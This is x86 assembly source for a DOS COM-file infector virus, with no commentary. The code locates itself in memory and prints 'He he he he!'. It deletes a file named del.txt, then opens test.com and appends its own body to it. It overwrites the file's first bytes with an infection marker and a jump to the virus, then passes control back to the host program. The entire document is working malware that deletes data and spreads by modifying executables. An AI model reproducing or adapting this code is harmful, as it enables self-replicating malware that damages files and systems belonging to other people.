CSEG SEGMENT 
ASSUME CS:CSEG,DS:CSEG,SS:CSEG 
main PROC NEAR 
mainstart: 
CALL vstart ; 
vstart: 
POP SI ;
MOV BP,SI ;
PUSH SI 
MOV AH,9 
ADD SI,OFFSET message-OFFSET vstart ;
MOV DX,SI 
INT 21h 
POP SI 
ADD SI,OFFSET yuan4byte-OFFSET vstart ; 
MOV DI,100h ;
MOV AX,DS:[SI] ;
MOV DS:[DI],AX 
INC SI 
INC SI 
INC DI 
INC DI 
MOV AX,DS:[SI] 
MOV DS:[DI],AX 
MOV SI,BP ;
MOV DX,OFFSET delname-OFFSET vstart 
ADD DX,SI 
MOV AH,41h 
INT 21h 
MOV DX,OFFSET filename-OFFSET vstart ;
ADD DX,SI 
MOV AL,02 
MOV AH,3dh ; 
INT 21h 
JC error 
MOV BX,AX ;
MOV DX,OFFSET yuan4byte-OFFSET vstart ;
ADD DX,SI 
MOV CX,4 
MOV AH,3fh 
INT 21h 
MOV AX,4202h ;
XOR CX,CX 
XOR DX,DX 
INT 21h 
MOV DI,OFFSET new4byte-OFFSET vstart ; 
ADD DI,2 
ADD DI,SI 
SUB AX,4 
MOV DS:[DI],AX 
ADD SI,OFFSET mainstart-OFFSET vstart ;
MOV DX,SI 
MOV vsizes,OFFSET vends-OFFSET mainstart 
MOV CX,vsizes 
MOV AH,40h 
INT 21h 
MOV SI,BP ; 
MOV AL,0 
XOR CX,CX 
XOR DX,DX 
MOV AH,42h 
INT 21h 
MOV AH,40h ;
MOV CX,4 
MOV DX,OFFSET new4byte-OFFSET vstart 
ADD DX,SI 
INT 21h 
MOV AH,3eh ;
INT 21h 
error: 
MOV AX,100h 
PUSH AX 
RET 
main ENDP 
yuan4byte: 
RET 
DB 3 DUP (?) 
vsizes DW 0 
new4byte DB ‘M‘,0e9h,0,0 
filename DB "test.com",0 
delname DB "del.txt",0 
message DB "He he he he!" 
DB 0dh,0ah,"$" 
vends: 
start: 
MOV AX,CSEG 
MOV DS,AX 
MOV SS,AX 
CALL main 
MOV AX,4c00h 
INT 21h 
CSEG ENDS 
END start